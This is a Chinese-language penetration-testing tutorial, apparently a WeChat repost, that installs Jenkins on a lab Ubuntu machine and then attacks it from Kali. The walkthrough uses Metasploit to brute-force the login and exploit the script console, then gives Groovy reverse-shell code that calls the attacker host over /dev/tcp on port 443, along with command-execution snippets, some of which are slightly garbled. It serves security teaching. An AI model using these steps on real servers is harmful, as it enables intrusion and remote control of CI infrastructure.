Jenkins 是一款开源自动化服务器,用于持续集成 (CI) 和持续交付 (CD)。它基于 Java 构建,并利用脚本平台实现自动化。Jenkins 可自动执行软件开发生命周期中的构建、测试和部署等任务。这种自动化可加速开发周期、提高代码质量并简化发布。主要功能包括 CI/CD 管道、自动化测试、与版本控制系统集成、通过插件实现的可扩展性以及强大的监控和报告功能。
在本文中,我们将在 Ubuntu 机器上设置 Jenkins 服务器并获取远程代码执行。以下是机器:
攻击者机器:Kali Linux(192.168.1.7)
Jenkins 需要 Java 运行时环境 (JRE) 才能正常运行。在本指南中,我们将使用 OpenJDK 来建立 Java 环境。OpenJDK 的开发工具包在其框架内整合了 JRE。
apt install openjdk-11-jdk
有时,默认的 Ubuntu 存储库可能缺少最新的 Jenkins 版本。因此,建议选择项目维护的存储库来访问最新的功能和补丁。
要将 Jenkins 存储库集成到 Ubuntu 系统,请遵循以下步骤:
sudo curl -fsSL https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key | sudo tee /usr/share/keyrings/jenkins-keyring.asc > /dev/null
接下来,使用下面提供的命令合并 Jenkins 存储库并将身份验证密钥附加到源列表:
sudo echo deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] https://pkg.jenkins.io/debian-stable binary/ | sudo tee /etc/apt/sources.list.d/jenkins.list > /dev/null
现在我们可以在 ubuntu 机器上继续安装 Jenkins。
安装后,Jenkins 可以配置为顺利运行。通过检查在端口 8080 上运行的服务,Jenkins 服务器需要管理员密码。
通过读取initialAdminPassword文件的内容就可以获取密码。
cat /var/lib/Jenkins/secrets/initialAdminPassword
选择安装建议的插件来定制 Jenkins并继续安装。
最后一步需要创建第一个管理员用户名和密码。这里我们使用用户名raj和密码123。
最后,输入访问 Jenkins 服务器的 URL。由于我们想在 ubuntu 机器上设置服务器,因此URL 可以输入为http://127.0.0.1:8080/ 。
成功安装和配置 Jenkins 服务器后,我们可以使用 kali 机器开始利用。从枚举开始,由于 Jenkins 服务器在 ubuntu 机器的 8080 端口运行,因此检查 8080 端口。8080 端口有一个 Jenkins 登录页面,需要输入凭据。
由于登录页面需要凭证,因此我们可以使用 Metasploit 框架中提供的辅助工具来检查登录的有效用户名和密码。我们将使用的辅助工具将需要一个用户名文件和一个密码文件。
值得注意的是,对于 CTF 场景,用户名文件可以用作常用用户名列表(https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt),密码文件可以用作rockyou.txt。但是,这里我们使用自定义字典来简化扫描。在 Metasploit 框架内可以使用以下命令:
use auxiliary/scanner/http/jenkins_login
set rhosts 192.168.1.4
set rport 8080
set targeturi /
set user_file users.txt
set pass_file passwords.txt
set verbose false
exploit
观察到用户名和密码已成功枚举。枚举用户名和密码后,现在是时候使用它们来利用目标了。这里可以使用的漏洞是exploit/multi/http/Jenkins_script_console。可以在Metasploit框架中使用以下命令来运行漏洞:
use exploit/multi/http/jenkins_script_console
show targets
set target 1
set payload linux/x64/meterpreter/reverse_tcp
set rhosts 192.168.1.4
set rport 8080
set targeturi /
set username raj
set password 123
exploit
要手动利用漏洞,我们需要 Jenkins 控制台的用户名和密码。假设攻击者已经通过暴力破解或其他方法找到了凭证,那么就可以成功登录控制台。
使用先前从辅助设备找到的凭据(raj:123 )登录后。可以访问包含脚本控制台功能的管理 Jenkins功能。
在 Jenkins 中,Groovy是定义作业和管道的主要脚本语言。Groovy 是动态的,在 Java 虚拟机 (JVM) 上运行,与主要基于 Java 的 Jenkins 无缝集成。因此,我们将使用 Groovy 反向 shell 脚本来获取反向 shell。可以从以下 URL 获取Groovy 反向 shell的命令:https: //www.revshells.com并选择 Groovy 脚本有效负载。
现在,在 Jenkins 脚本控制台中使用上述 Groovy 反向 Shell 脚本。在运行脚本之前,请确保使用以下命令在 kali 机器内的端口 443 上启动netcat 监听器:
最后运行上述groovy脚本后在443端口获得反向shell。
获取反向 shell 的另一种方法是通过在脚本控制台中运行以下脚本:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/192.168.1.7/443; cat <&5 | while read line; do $line 2>&5 >&5; done"] asString[])
p.waitFor()
运行脚本之前,请确保在端口 443 上启动监听器。
在某些情况下,我们没有监听器来获取反向 shell。在这种情况下,我们可以直接运行脚本并在结果窗口中获取代码的输出。
defsout=newStringBuffer(), serr = newStringBuffer()
defproc='ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
defproc="id".execute();
defos=newStringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
总之,使用 Jenkins 服务器获取反向 shell 的可能性凸显了对强大安全措施的迫切需求。无论是由于登录信息被盗用还是根本没有身份验证,Jenkins 服务器的脆弱性都表明了我们必须认真对待安全性的原因。组织必须执行严格的访问规则、定期进行安全检查并及时更新系统,以减少未经授权的访问和滥用的可能性。
原文始发于微信公众号(三沐数安):Jenkins 渗透测试
评论